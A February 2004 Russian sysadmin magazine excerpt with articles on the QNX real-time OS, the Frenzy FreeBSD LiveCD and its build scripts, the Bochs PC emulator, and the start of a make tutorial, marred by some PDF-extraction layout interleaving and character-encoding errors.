QNX Momentics. Сейчас выпускаются 3 вида дистрибутивов QNX Momemtics:
№2(15), февраль 2004
! Non commercial edition (NC) – дистрибутив, предназна!
!
ченный для ознакомления с этой системой. Абсолютно бесплатен для некоммерческого использования. Standard Edition (SE) – в состав этого дистрибутива входят средства, с помощью которых вы можете вести коммерческую разработку разного ПО и собственных вариантов систем. Professional Edition (PE) – дистрибутив по сути своей является сильно «распухшей» версией SE.
На самом деле есть еще один вариант дистрибутива этой системы, на сайте QNX (www.qnx.com) вы можете списать вариант системы, умещающийся на одну дискету. Очень рекомендую вам это сделать. Ведь сейчас от однодискетной системы не ожидают ничего, кроме как очередного дистрибутива Linux с функциями роутера/фаервола. А тут такое… полностью работоспособная ОСРВ, построенная на микроядре (как и старшие братья), урезанный GUI, и даже браузер графический есть. Работать будет на любой 386 с 8 Мб RAM. Несмотря на все новшества шестой версии, в нашей стране наибольшее распространение получила QNX четвертой версии. Сейчас как таковая разработка четвертой версии завершена, последняя версия (4.25 patch G) вышла в самом начале 2003 года. Но несмотря на все преимущества новых разработок, я не думаю, что шестая версия в обозримом будущем полностью выживет четвертую с рынка. Никто не будет менять системы, которые годами работали без сбоев и нареканий только потому, что есть более новая версия. А в некоторых местах нет такой возможности что-либо менять, т.к. простой системы либо абсолютно невозможен, либо приведет к очень большим убыткам. Тут еще стоит вспомнить о тех устройствах, на которых в принципе невозможно поменять ОС, потому как она вшита в ПЗУ. До появления четвертой версии в ходу была вторая версия QNX, не получившая сколько-нибудь значительного распространения на просторах России. Работала эта система на компьютерах с 286 процессорами. Кстати, надо заметить, что бинарной совместимости между различными версиями нет, т.е. то, что работало под QNX4 на QNX6 вам не запустить (отсюда и еще одна причина, почему QNX4 не спешат полностью менять на QNX6). Подобные неудобства можно объяснить только тем, что системы такого уровня очень глубоко «привязываются» к особенностям той или иной платформы. Недавно я узнал еще одну интересную подробность: оказывается, до 1991 г. система вообще значилась как стратегический ресурс, и строго настрого было запрещено вывозить ее за пределы Северной Америки. Вернемся к более подробному рассмотрению этой ОС.
В двух словах об установке Установить систему разработчика QNX можно на SPARC, и под управление ОС Solaris (к сожалению, поработать с QNX на SPARC мне пока не удалось, так что какими-либо впечатлениями делиться не буду, а просто упомяну о такой возможности). Также QNX можно поставить на компьютер с x86 архитектурой. Либо под управлением Windows, либо непосредственно под QNX, в скором времени появится версия и под Linux. Но вы можете поставить ее и на FAT32. Скажу
27
администрирование больше, если у вас Windows 98, и вы решите поставить QNX на раздел FAT32, то QNX будет работать прямо под Windows 98, в отдельном окошке. Что-то вроде виртуальной машины получается. Если же у вас W2K/XP и вы решите поставить QNX на уже существующий раздел FAT32, то заодно готовьте дискету, потому как именно с нее вам нужно будет грузиться, в то время как все данные будут располагаться на вашем жестком диске. При установке в раздел FAT32 системе потребуется как минимум 500 Мб свободного места. Так как на своей домашней машине чуда программистской мысли от MS не держу, я устанавливал QNX на отдельный раздел. Даже если у вас есть раздел FAT32, рекомендую не поддаваться на соблазн поставить систему на него, а сделать отдельный раздел и ставить QNX туда. На сайте разработчика минимальные системные требования для QNX PE составили P3-650 МГц /256 Мб RAM/1.5 Гб. Все, конечно, может быть, с версией PE я не работал (она, насколько вы помните, коммерческая). Но за время работы с версией NC, как на Cel366 МГц /256 Мб RAM, так и на P3-550 МГц /256 Мб RAM, каких-либо тормозов замечено не было. Кстати, прежде чем ставить систему, желательно ознакомиться со списком поддерживаемого оборудования на www.qnx.com/ support/sd_hardware/, но не стоит расстраиваться, если среди списков железа вы не обнаружите чего-либо установленного у вас в компьютере, в действительности список намного шире, просто пока тестеры из QSSL самолично какую-нибудь железяку не проверят всеми доступными способами, в список ее не включат. Процесс установки системы очень прост, никаких подводных камней и трудностей я не встретил, так что останавливаться и подробно описывать его мы не будем, там действительно все предельно просто. Стандартный для QNX графический интерфейс Photon, который встречает пользователя сразу после загрузки системы, интуитивно понятен, так что тратить время на его описание смысла я не вижу. В качестве стандартного командного интерпретатора используется ksh, но, конечно, никто не запрещает поставить, например, bash или csh. Исходя из этого становится ясно, что с работой в консоле QNX любой юниксоид освоится за несколько минут. Большинство команд также уже знакомо всем приверженцам UNIX-систем, все те же mv, pwd, rm, ну и так далее. Единственное, что хотелось бы отметить, вместо архиважной команды man используется команда use, ну а суть ее та же.
Ядро QNX Во всех ОС, которые мне встречались, ядра системы были так нагружены, что они уже сами по себе начинали смахивать на операционные системы (сколько нынче ядро пингвиненка весит?). Скажу сразу, ядро QNX весит от 8 до 32 Кб. Удивлены? Такой малый размер достигается за счет того, что, во-первых, ядро полностью написано на ассемблере, и во-вторых (самое главное), ядро QNX исполняет всего 2 задачи: передачу сообщений и планирование. Все. Причем удивительно, но факт – само ядро не планируется, а взаимодействие с ним осуществляется с помощью процессов (надо заметить, с одинаковыми правами). Часть ядра, отвечающая за планировку, «вступает в игру», после того как некий процесс меняет свое состояние в результате появления сообщения, адресованного ему, или прерывания.
28
В отличие от процессов само ядро никогда не планируется к выполнению. Управление передается ядру только в результате прямого вызова ядра из процесса или по аппаратному прерыванию. Что касаемо передачи сообщений – ядро QNX реализует передачу любых сообщений между абсолютно всеми процессами в системе. Сообщение представляет собой обычный пакет данных размером до 64 Kб, который передается ядром от одного процесса в другой. Ядро никогда не изменяет содержимое сообщения, оно просто передает данные из адресного пространства одного процесса в адресное пространство другого процесса и как бы замораживает процесс-«отправитель» до тех пор, пока «получатель» не ответит на посланное ему сообщение. Схематично изобразить взаимодействие ядра с процессами можно так:
Все функции реализуются только этими системными процессами. Эти процессы ничем не отличаются от других обычных процессов, и именно это обеспечивает QNX легкую расширяемость. Процесс dev отвечает за администрирование различных устройств, proc – за администрирование процессов, fsys – администрирование файловой системы, net отвечает за сеть.
Файлы и файловая система QNX Все данные в операционной системе хранятся в виде файлов. Ну а файлы – это в свою очередь набор байтов, имеющих общие атрибуты (имя, GID, UID, тип файла, метки времени). QNX обеспечивает поддержку следующих типов файлов: обычные файлы, каталоги, жесткие ссылки, мягкие ссылки, FIFO (именованные программные каналы), блок-ориентированные специальные файлы, байт-ориентированные специальные файлы, и именованные специальные устройства. Вкратце я расскажу о них. ! Обычные файлы – последовательность байт, не имеющих предопределенной структуры. За интерпретацию данных из обычных файлов отвечают разные приложения. ! Каталоги – это те же самые обычные файлы, но они имеют определенную структуру. Структура эта представляет собой набор записей, которые называются элементами каталога. ! Жесткие ссылки – если нам нужно обращаться к одному и тому же файлу, по нескольким именам, и из разных мест, нам на помощь приходит как раз такой вид файлов, как жесткие ссылки. Т.е. сама по себе жесткая ссылка является указателем на другой файл.
администрирование ! Мягкие ссылки – почти то же самое, что и жесткие ссыл-
! Битовая карта – на диске представлена файлом /.bitmap,
ки, разница в том, что, используя мягкие ссылки, вы можете делать ссылки на файлы, которые находятся за пределами файловой системы, на которой находится исходный файл (на который делается ссылка). Вообще мягкую ссылку можно представить как некий текстовый файл, в котором содержится имя другого файла, к которому перенаправляются все запросы. FIFO по сути является механизмом взаимодействия между несколькими процессами – один процесс пишет в программный канал, а другой читает оттуда. Сразу становится ясным, что FIFO не очень быстрый способ для межзадачного взаимодействия. Блок-ориентированные специальные файлы – файлы, которые существуют для изоляции приложений от физических характеристик аппаратуры. Обмен данными осуществляется в блоках. Важной особенностью таких файлов является то, что в QNX они создаются не на диске, а в оперативной памяти. Создаются они соответственно при запуске конкретных драйверов. Примером устройства для которых создаются такого рода файлы, является HDD. Байт-ориентированные специальные файлы – этот тип файлов очень похож на блок-ориентированные специальные файлы, но разница в том, что байт-ориентированные обеспечивают интерфейс к аппаратуре, и обмен данными осуществляется побайтовый. Примером устройства, для которых создаются такие файлы, является сетевая карта, com-порт. Такие файлы также создаются при запуске соответствующего драйвера. Именованные специальные устройства – самый интересный тип файлов, байт и блок, ориентированные файлы достаточно универсальны, и как следствие их можно использовать не только для обмена данными с драйверами устройств, но и для взаимодействия с другими программами. В этих случаях приложения, делающие специальные файлы, будут выглядеть как программные устройства. Яркий пример такого вида файлов в QNX – это /dev/photon.
который содержит все блоки диска, каждый из которых представлен битом. Если бит равен 1, значит блок уже занят, если 0, значит блок свободен. Корневой каталог – по сути своей обычный каталог, только за тем исключением, что жесткие ссылки «.» и «..» являются ссылками на этот же самый корневой каталог.
!
!
!
!
Как я уже упоминал ранее, файловой системой QNX управляет процесс fsys. Он отвечает за обработку всякого рода запросов к файлам (чтение, запись, открытие, закрытие). Доступ к файлам принципиально не отличается от того метода, который используется в других Unix-подобных системах. Выше я упомянул, что QNX разрабатывалась как POSIX-совместимая система. Файловая система QNX очень интересно построена, при записи какихлибо данных, критически важных для системы, файлы записываются немедленно, а некритические сначала помещаются в специальный буфер и только потом уже записываются. Хотя при таком раскладе и возникает некоторая задержка, но уловить ее практически невозможно. В каждом разделе QNX есть: ! Блок загрузчика – им является первый физический либо блок, либо раздел HDD, в котором и располагается IPL – начальный загрузчик, который и считывает BIOS. ! Корневой блок – в нем лежит информация об очень важных четырех системных файлах: / (корневой каталог); /.inodes; /.boot; /.altboot.
№2(15), февраль 2004
!
QNX может работать с достаточно большим количеством разный файловых систем, среди которых: FAT12, FAT16, FAT32, NFS, ISO9660, EXT2, NFS.
QNX и сеть Я уже упомянул, что QNX разрабатывалась как сетевая операционная система. В QNX есть своя «родная» сеть – qnet. У каждого компьютера в сети под управлением QNX есть свой id. Собственно говоря, именно этот id и позволяет узнать, работает QNX как сеть или же просто как обычная система. Этим занимается один из упомянутых выше системных процессов – net. Сетевое взаимодействие в подобных сетях абсолютно прозрачное благодаря способности QNX осуществлять обмен сообщениями между микроядрами систем через сеть. «А как отличить сетевое сообщение от локального?» – спросите вы. Есть пространство имен путей администратора всех процессов. Так что при загрузке администратор (роль которого выполняет разделяемая библиотека npm-qnet.so (каждый интерфейс протокола поставляется в виде разделяемой библиотеки, например, npm-qnet.so, протокол QNET, также известный как Native Neurino Networking)) регистрирует символьное имя /dev/io-net/qnet0, а также каталог /net, в который впоследствии помещаются файлы с именами хостов в нашей сети, к которым можно получить доступ. Помимо прозрачности в вопросе доступа к файлам на разных хостах, qnet позволяет запускать всякого рода задачи на любом из доступны хостов сети. Т.е. у нас получается как бы виртуальный суперкомпьютер. И все бы хорошо, но есть и один очень большой недостаток этой сети – безопасность. В принципе каждый хост может делать все, что ему заблагорассудится, с другим хостом в сети. Поддержка TCP/ IP-стека в QNX во многом позаимствована из NetBSD v1.5. Поддержка стека протоколов TCP/IP в QNX обеспечивается средствами трех модулей (npm-ttcpip.so, npm-tcpip-v4.so npmtcpip-v6.so), которые загружаются процессом net, который, как я уже упоминал, отвечает за поддержание работы сети. Тут не обойден вниманием аспект безопасности – пакетную фильтрацию и трансляцию адресов осуществляет портированный в QNX IP Filter (версии 3.2.37). Вот и подошла к концу статья, посвященная QNX. Информации для размышления, я думаю, было получено достаточно. Для особо заинтересовавшихся – в рунете очень немного информации по QNX, единственный болееменее интересный сайт, посвященный этой системе – www.qnx.org.ru. А вот в бумажном виде мне вообще ни одной книги, к сожалению, не попадалось. Если читателям эта тема покажется интересной, я могу еще много занятного рассказать об этой операционной системе, так что жду ваших отзывов.
29
администрирование
FRENZY: FreeBSD В КАРМАНЕ СИСАДМИНА
Любой сисадмин хоть раз в своей жизни (или даже не раз) делал себе системную дискету. Он любовно подбирал драйверочки, вписывал их в config.sys, а иногда даже делал startup-меню. После чего сдвигал рычажок защиты от записи и любовно надписывал: «СИСТЕМНАЯ ДИСКЕТА», втайне считая при этом, что его дискета – самая лучшая. Убирал дискету в верхний ящик стола. Через 3 месяца, матерясь, рылся в залежах бумаг и прочего хлама, восклицая «Ну где же она?!».
СЕРГЕЙ МОЖАЙСКИЙ 30
администрирование Описанная выше ситуация вам знакома, не так ли? Всем нам хочется носить с собой набор необходимых утилит, чтобы всегда быть готовым к решению любых проблем и не искать нужный для этого софт. За прошедшие с тех пор годы размеры операционных систем и программ для них заметно выросли, и системные дискеты превратились в загрузочные компакт-диски. И если в мире Windows такой подход не особо популярен, то в мире UNIX все наоборот – количество LiveCD-дистрибутивов исчисляется десятками, да и сделать собственный LiveCD теперь может практически каждый, благо скриптов и документации на эту тему написано достаточно. Правда, LiveCD делаются в основном на базе Linux – Knoppix, Blin, Linux-BBC, Phlak, Gentoo LiveCD, RTK... Операционная система FreeBSD куда более «консервативна» и на новомодное увлечение LiveCD внимания не обращала. Несмотря на то что в портах FreeBSD есть целых три набора скриптов для создания собственного LiveCD (sysutils/ cdroot, sysutils/freesbie, sysutils/livecd), готового к использованию набора не предлагал практически никто. Поскольку с FreeBSD я работал уже долгое время, мне всегда хотелось создать LiveCD именно на его основе, и в июле 2003 года я принялся за работу. Информацию по вопросу создания LiveCD на базе FreeBSD приходилось выискивать по крупицам – поиск в Google дал не больше десятка действительно полезных ссылок, которыми я и воспользовался в работе. К началу августа у меня получился первый работоспособный LiveCD. Получившийся дистрибутив я не планировал распространять, поскольку считал, что это мало кому будет интересно, ограничился лишь кратким анонсом о выходе Frenzy 0.1 и выложил сборочные скрипты. Позже, примерно через неделю, я смог выложить в Сеть ISO-имидж. Однако новая разработка заинтересовала многих, я получал множество писем и сообщений ICQ по поводу Frenzy. Обзор первой версии Frenzy вы можете прочесть в январском номере этого журнала. По мере поступления отзывов стало понятно, что необходимо выпустить следующий релиз, в котором будут исправлены недоработки первой версии и учтены высказанные пожелания. Поэтому 20 октября вышла Frenzy 0.2. В новой версии был обновлен набор программного обеспечения, добавлены криптографические утилиты, обеспечена поддержка NFS и SNMP, а также заметно упрощен процесс сборки. Frenzy распространяется в соответствии с лицензией BSD, вы можете скачать ISO-имидж системы, заказать в интернет-магазинах компакт-диск или сделать свой дистрибутив Frenzy самостоятельно, используя сборочные скрипты. Обеспечивается полноценная техническая поддержка – вы можете всегда получить консультацию по работе с системой на форуме сайта проекта или почтовой рассылке.
Возможности Frenzy Минимальными требованиями для работы Frenzy является компьютер Pentium с 32 Мб RAM. Однако для некоторых программ требуется существенно больше оперативной памяти, поэтому 128 Мб будет вполне достаточно для
№2(15), февраль 2004
работы со всеми приложениями из состава Frenzy. В случае нехватки оперативной памяти вы можете создать swap-файл на смонтированных разделах винчестера. После загрузки с CD мы получаем вполне работоспособную операционную систему FreeBSD 4.8-STABLE. В качестве командной оболочки использован стандартный tcsh, но его функциональность была дополнена скриптами из проекта tcshrc – и теперь в нем есть расширенное автодополнение команд, поддержка «горячих» клавиш, проверка синтаксиса введенных команд и многое другое. Для тех, кто привык к файловым менеджерам, есть Midnight Commander и Demos Commander, который менее функционален, но зато намного быстрее и проще. Есть и графическая оболочка XFree86 4.3.0 с оконным менеджером fluxbox. При загрузке разделы жесткого диска монтируются автоматически, потом можно смонтировать сетевые диски NFS и SMB, с DOS-дискетами можно работать и без монтирования – достаточно воспользоваться программами из пакета mtools или файловым менеджером MToolsFM. Если нам нужно настроить сеть, то можно не возиться с ifconfig и редактированием конфигурационных файлов – в Frenzy есть диалоговый скрипт lan-config, позволяющий настроить поддержку локальной сети. Для настройки модемного соединения используется скрипт ppp-config. Теперь можно запускать популярный браузер Opera или консольный lynx для веб-серфинга, скачивать файлы с помощью curl или wget, пользоваться почтовыми и новостными клиентами mutt, tin, sylpheedclaws, общаться в сети ICQ с помощью centericq или licq и чатиться в IRC с помощью xchat. Кроме того, из Frenzy можно сделать тестовый маршрутизатор, firewall, NAT, NFS или DNS-сервер – все необходимое для этого есть в системе. Теперь перейдем к программам для системного администратора, которые и составляют основу дистрибутива. При неполадках с винчестером могут помочь утилиты gpart (с ее помощью я дважды восстанавливал поврежденную таблицу разделов), disktype, testdisk. Для восстановления удаленных файлов на FAT-дисках есть fatback, для фришной FFS – экспериментальная утилита ffsrecov. Тем, кто хочет протестировать свое «железо», пригодятся программы bytebench, cpuburn, ubench, memtest, pciutils. Набор сетевых утилит, думаю, удовлетворит многих – есть утилиты для работы с DNS, ICMP, DHCP, SNMP, NetBIOS. Для удаленного управления есть сервер и клиент VNC – утилита tightVNC, оптимизированная для работы по медленным каналам связи, а также rdesktop (клиент для Windows Terminal Server). В состав Frenzy входит антивирусный пакет Dr.WEB для проверки на вирусы FAT-разделов, а для UNIX-систем полезным окажется наличие утилит chkrootkit и cops, позволяющих определить наличие руткитов в системе. Для анализа безопасности сети есть пакетные снифферы, сканеры портов, утилиты подбора паролей и многие другие программы. Отмечу лишь некоторые из них – популярный сканер безопасности nessus, система обнаружения сетевых атак snort, знаменитая утилита nmap
31
администрирование (с графическим фронтендом nmapfe), удобный пакетный сниффер ethereal. Ко всем программам в системе прилагается документация и сопутствующие man-страницы, так что разбираться во всем «методом тыка» не придется. Кроме того, в каталоге /frenzy/doc есть краткая документация по работе с Frenzy и список приложений с описанием их назначения. Провозившись некоторое время с настройками системы, вам наверняка захочется их сохранить, чтобы не настраивать при следующей загрузке все заново. Для этого есть скрипт backup, который позволит сохранить все изменения в каталогах /etc, /root, /usr/local/etc и /var/ drweb на обычную DOS-дискету. При загрузке система проверяет наличие backup-дискеты в дисководе и восстанавливает настройки с нее.
Процесс разработки При работе над дистрибутивом Frenzy возникало множество проблем. Сделать загрузку системы с CD удалось не сразу – советы и рекомендации, найденные мной в Интернете, не помогали. Как оказалось, для того, чтобы система могла загружаться с CD, достаточно было наличия этих опций в ядре: options options
CD9660 CD9660_ROOT
а также наличия строки: vfs.root.mountfrom="cd9660:acd0a"
в файле /boot/loader.conf. Уменьшение размера базовой системы делалось по инструкциям, изложенным в cтатье Мануэля Каспера «miniBSD – reducing FreeBSD» (http://neon1.net/misc/ minibsd.html) – ему удалось уместить всю систему вместе с Perl в 22 Мб, у меня же вышло порядка 40 за счет добавления man-страниц и ряда полезных утилит. Патчи в конфигурации системы сводились к добавлению в /etc/rc.conf строки: diskless_mount="/etc/rc.frenzy"
и написанию самого скрипта rc.frenzy и его компонентов. Для полноценной работы LiveCD необходимы разделы в памяти (memory disks), в которые может производиться запись, первый компонент – скрипт rc.frenzy.mfs – создает их и заполняет необходимыми файлами. Затем необходимо найти и смонтировать разделы жесткого диска, за это отвечает скрипт rc.frenzy.part. И наконец, нужно обеспечить восстановление сохраненных на дискету настроек системы, скрипт restore отвечает за эту операцию. Одной из главных отличительных черт Frenzy является уменьшение размера установленных приложений, благодаря чему удалось уместить большое количество приложений на 3-дюймовый компакт-диск. В первой версии «препарирование» всех пакаджей проделывалось вручную. Однако при создании версии 0.2, прикинув объем
32
работ, я решил все это автоматизировать с помощью набора скриптов. Из пакаджей удаляются include и infoфайлы, ненужные локали (зачем нам, к примеру, X-Chat на китайском?), после чего к пакаджу применяются индивидуальные патчи. В итоге размер системы удалось сократить с 330 до 196 Мб. После всех этих приготовлений загрузочный ISOимидж создается такой командой: mkisofs -b boot/cdboot -no-emul-boot -r -J -D ↵ -V Frenzy_02 -o iso/frenzy_v02_release.iso FRENZY
Загрузку с CD можно было реализовать двумя способами – эмуляцией загрузочной дискеты (так называемой El-Toro) или прямой загрузкой (с помощью загрузчика cdboot). В Frenzy используется второй вариант, поскольку он проще в реализации. Получившиеся тестовые сборки я сначала отлаживал в VMWare, после чего стабильный билд записывался на CD и проверялся уже на реальных компьютерах. Поскольку систему не планировалось распространять, процесс ее сборки был автоматизирован лишь частично, некоторые операции приходится делать вручную, однако в следующих версиях процесс сборки будет уже полностью автоматизирован. Желающие более детально ознакомиться с процессом сборки Frenzy могут скачать скрипты с сайта проекта. Кроме того, на CD с Frenzy 0.2 в каталоге /frenzy/devel можно найти сборочные скрипты и краткую документацию к ним.
Перспективы развития В настоящее время ведется работа над Frenzy 0.3. Следующая версия Frenzy будет основана на 5-й ветке FreeBSD. Реализация сжатой файловой системы (поддержки которой пока еще нет в FreeBSD) позволит увеличить количество приложений и положительно скажется на скорости загрузки. Также планируется обновить набор софта и включить в состав дистрибутива русскую документацию по ряду приложений. Frenzy прочно заняла свое место в ряду LiveCD-дистрибутивов и помогает в решении повседневных задач многим системным администраторам. Надеюсь, вас она тоже заинтересует.
администрирование
КАК ЧЕРТИК ИЗ КОРОБОЧКИ
ВАЛЕНТИН СИНИЦЫН 34
администрирование Если вам в детстве посчастливилось иметь «бытовой компьютер» (БК-0010, ZX Spectrum, «Корвет», ATARI и т. д.), то вы наверняка знакомы с программами-эмуляторами, основная задача которых – шаг за шагом интерпретировать инструкции «чужого» процессора, имитировать работу периферийных устройств (монитора, клавиатуры, дисковода) с тем, чтобы на IBM PC можно было запустить программы, разработанные для других аппаратных архитектур. Однако что мешает создать для IBM PC эмулятор IBM PC? Ответ прост – ничего! Более того, проект по его написанию был начат еще в 1994 году Кевином Лоутоном (Kevin Lawton). В течение 6 лет Bochs (произносится как английское «box» – коробка) распространялся как традиционный «закрытый» продукт (правда, желающие могли приобрести его исходные коды), но в 2000 году он был куплен компанией MandrakeSoft и лицензирован по LGPL (GNU Lesser General Public License). В настоящий момент сайт проекта Bochs расположен по адресу: http:// bochs.sourceforge.net С пользовательской точки зрения Bochs похож на VMWare: он также позволяет запустить на одном компьютере несколько операционных систем и «переключаться» между ними по мере необходимости. С технической точки зрения имеется существенное различие: Bochs не использует технологий виртуализации и динамической трансляции (иными словами, он именно интерпретирует инструкции процессора, а не исполняет куски кода в nativeрежиме), что, с одной стороны, позволяет ему работать на платформах, отличных от x86 (в настоящий момент кроме x86 поддерживаются PPC, Alpha, Sun и MIPS), а с другой – означает меньшую скорость эмуляции (фактически, сравнительно невысокая производительность Bochs является одним из его самых существенных минусов). Виртуальная машина с открытым исходным кодом Plex86 (http://www.plex86.org), использующая виртуализацию, находится сейчас в стадии разработки. Однако она не является полным аналогом VMWare, поскольку поддерживает в качестве гостевой ОС только Linux. Bochs сам по себе является кросс-платформенным приложением: в роли так называемой «хост-системы» для него может выступать Linux, различные варианты BSD, Mac OS X, Microsoft Windows, а также BeOS и Amiga/MorphOS. «Гостевой ОС» (системой, работающей в эмуляторе) теоретически может быть все, что угодно. На сайте проекта можно найти дисковые образы для большинства систем с открытым исходным кодом: Linux, OpenBSD, FreeDOS, GNU/ Hurd, и даже Minix. Операционные системы семейства Microsoft Windows также успешно работают в Bochs, но, по вполне понятным причинам, их образы не могут быть расположены в свободном доступе. Прежде чем переходить к обсуждению возможностей Bochs, ответим на один простой вопрос: зачем он вообще нужен? В случае с эмуляторами ZX-Spectrum все ясно – они позволяют вдохнуть новую жизнь в старые добрые игры. Естественно, никто не запрещает использовать Bochs и в этих целях. Его часто применяют для запуска игр, написанных под DOS, а запуском в Bochs старых версий Linux даже занимается специальный проект «История Linux» (http://www.linuxcenter.ru/history). Но, конечно, у
№2(15), февраль 2004
Bochs есть и другие области применения. Так, его очень удобно использовать для знакомства с новыми ОС и в качестве полигона для различных экспериментов над ними. Bochs позволяет избежать малоприятной процедуры переразбиения жесткого диска и уменьшает опасность потери данных, сопутствующую опытам над реальными системами. Кроме того, при помощи Bochs можно выполнять приложения Win32 в Linux (и наоборот). Правда, для этого потребуется лицензионная копия ОС и место для хранения дискового образа. Отметим, что Bochs эмулирует работу оборудования, а не конкретной операционной системы (для этого есть dosemu, WINE и т. п.), поэтому в нем работают программы, использующие недокументированные возможности и прочие «трюки». Отдельная (и весьма специфичная) сфера применения Bochs – отладка ядер операционных систем (о возможностях встроенного отладчика Bochs – чуть ниже). И наконец, при помощи Bochs можно запускать приложения, написанные для x86, на других аппаратных платформах.
Возможности Bochs Bochs эмулирует IBM-совместимый компьютер класса Pentium (имеется частичная поддержка Pentium Pro, набора инструкций MMX, а начиная с версии 2.1pre1 – SSE и AMD 3DNow!), к которому можно «подключить»: ! Видеоадаптер VGA/SVGA. Разрешение – вплоть до 1024x768x32bpp (для Bochs 2.1pre1) или 1024x768x8bpp (для более ранних версий). ! 3.5/5.25-дюймовый дисковод. В качестве дискеты может использоваться файловый образ, а в Unix/Windows 2000 – реальный привод. ! Жесткий диск объемом до 32 Гб – в форме файлового образа. Начиная с версии 2.1pre1, Bochs поддерживает простые (flat), «разреженные» (sparse) и «растущие» (growing) образы, а также умеет откатывать (rollback) сделанные в них изменения. В Unix имеется возможность работы с реальным жестким диском (посредством файлов блочных устройств /dev/hd*), однако этого не рекомендуется делать по соображениям безопасности. ! Привод ATAPI-4/IDE CDROM – «компакт-диск» может быть представлен своим ISO-образом или вставлен в реальный привод. ! Клавиатуру PS/2 и двухкнопочную мышь PS/2. ! NE2000-совместимую сетевую карту, с помощью которой гостевая ОС может связываться с другими машинами в своей локальной сети или даже выходить в Интернет. ! Звуковую карту, совместимую с SoundBlaster 16. В Linux, FreeBSD и Windows возможна работа с аудиоплатой хост-системы. ! Параллельный и последовательный порты. Вывод может перенаправляться в файл или на физическое устройство (только в Unix). Кроме этого, Bochs поддерживает подключаемые модули-«плагины» (только в Unix и Cygwin, в форме плагинов, например, могут быть выполнены дополнительные устройства) и загрузку со всех доступных типов носите-
35
администрирование лей (Floppy, HDD, CD-ROM), имитирует шину PCI (в рамках Host-to-PCI bridge и Primary Memory Controller), USB (только корневой разветвитель), SMP (Bochs может эмулировать до 15 процессоров, но в данный момент никак не использует физическую многопроцессорность хостсистемы). Реализация сетевой карты в Unix-версиях Bochs имеет одну забавную особенность: в ряде случаев гостевая ОС не может связываться по сети с хост-системой. Для решения этой проблемы используются TUN/TAP-интерфейсы. Для работы с сетью в Windows требуется дополнительная библиотека WinPcap (http://winpcap.polito.it/), которая также распространяется свободно. На всех платформах (кроме Amiga) Bochs работает в оконном (не полноэкранном) режиме. Пример окна Bochs с запущенным в нем MCC Interim Linux можно увидеть на рисунке.
36
Из этих «кирпичиков» можно собирать систему, удовлетворяющую требованиям конкретной задачи: указать объем оперативной памяти, настроить быстродействие (естественно, гостевая ОС в любом случае будет работать медленнее, чем в native-режиме), подобрать аппаратную конфигурацию и т. д. По умолчанию Bochs стремится работать c как можно большей скоростью, что, к сожалению, имеет свой побочный эффект – «ускорение времени» (часы в гостевой ОС начинают идти быстрее, чем в хост-системе). Во избежание этого их можно принудительно синхронизировать, правда, эта функция до сих пор помечена как «экспериментальная». Настройка Bochs производится до запуска путем редактирования конфигурационного файла и во время работы – через пользовательский интерфейс. В большинстве случаев вам придется довольствоваться текстовым интерфейсом (рисунок в низу), хотя Bochs можно собрать с поддержкой кросс-платформенной GUI-библиотеки wxWindows (http://www.wxwindows.org). Весьма интересной частью Bochs является также встроенный отладчик командной строки. Данный инструмент позволяет прерывать работу гостевой ОС в произвольный момент времени, изучать содержимое регистров процессора и памяти, назначать точки останова («breakpoints2) и т. п. Это может быть полезно разработчикам операционных систем, а также всем желающим поглубже разобраться с их устройством (например, при занятии reverse engineering).
администрирование Ложка дегтя Древнегреческий философ Платон утверждал, что осязаемые нами вещи есть суть отражения их безупречных идей. Это в полной мере относится и к программному обеспечению. Никакой продукт не свободен от недостатков, и Bochs не исключение. Первый, и он же основной минус виртуальной машины – это скорость работы. Bochs не слишком хорошо подходит для динамичных 3D-игр, просмотра видео и тому подобных вещей. Конечно, скорость эмуляции в каждом конкретном случае определяется возможностями хост-системы. Второй, менее очевидный недостаток – это тип поддерживаемых устройств. Bochs (в той или иной степени) имитирует практически всю периферию, но только стандартные («generic») модификации. В этом нет ничего плохого, но иногда возникает желание понаблюдать за поведением системы при использовании вполне конкретного оборудования. Так, при работе над уже упоминавшейся «Историей Linux» мы столкнулись со следующей проблемой: ранние версии сервера XFree86, которые включены в большинство старых дистрибутивов Linux, не поддерживали VESA-режимы, зато неплохо работали с видео-
№2(15), февраль 2004
картами S3, Trident и т. п. Если бы Bochs имитировал работу какого-либо из этих адаптеров, мы смогли бы запустить X Window System в достаточно высоком разрешении и с хорошей глубиной цвета. В реальности же пришлось довольствоваться видеорежимом 640x480x4, что, бесспорно, лучше, чем ничего, но все же не совсем то, что хотелось бы. Радует, что данную проблему можно решить, не модифицируя исходный код Bochs, а именно путем написания соответствующего плагина. Однако при моделировании реально существующего оборудования возникают также некоторые юридические аспекты (не все производители hardware открыто публикуют свои спецификации), обсуждение которых выходит за рамки данной статьи. Подведем итоги. Bochs – не слишком известный, но весьма полезный инструмент, распространяющийся свободно вместе с исходным кодом. Продукт имеет официальный статус «Beta», однако, как показывает практика, он вполне стабилен и может оказать помощь при решении большинства задач. Это, безусловно, не панацея от проблем, возникающих при обновлении и настройке компьютерных систем, но средство сделать все необходимые операции «малой кровью».
37
администрирование
РАБОТА С УТИЛИТОЙ make В статье на конкретных примерах рассматриваются варианты применения утилиты make как пользователями, так и разработчиками.
АНТОН ИВАНОВ make для пользователей Начнём с самого начала. Самое главное, но далеко не последнее применение утилиты make – это автоматическая сборка (компиляция) программ. И хотя большинство программ для Linux могут быть получены в двоичном (то есть в скомпилированном виде, в пакетах .deb, .tgz или .rpm), в процессе работы с Linux вам наверняка потребуется собрать программу самостоятельно из исходного кода. Итак, вы загрузили архив с исходниками программы, скорее всего в виде tarball, т.е. сжатого tar-архива. Распространены две программы сжатия: gzip и bzip2 (последняя сжимает файлы лучше, но медленнее). Имена файлов таких архивов оканчиваются соответственно на .tar.gz (или .tgz) и tar.bz2 (или .tbz). Распакуйте архив командой: tar xzvf èìÿ_ôàéëà.tar.gz èëè tar xjvf èìÿ_ôàéëà.tar.bz2
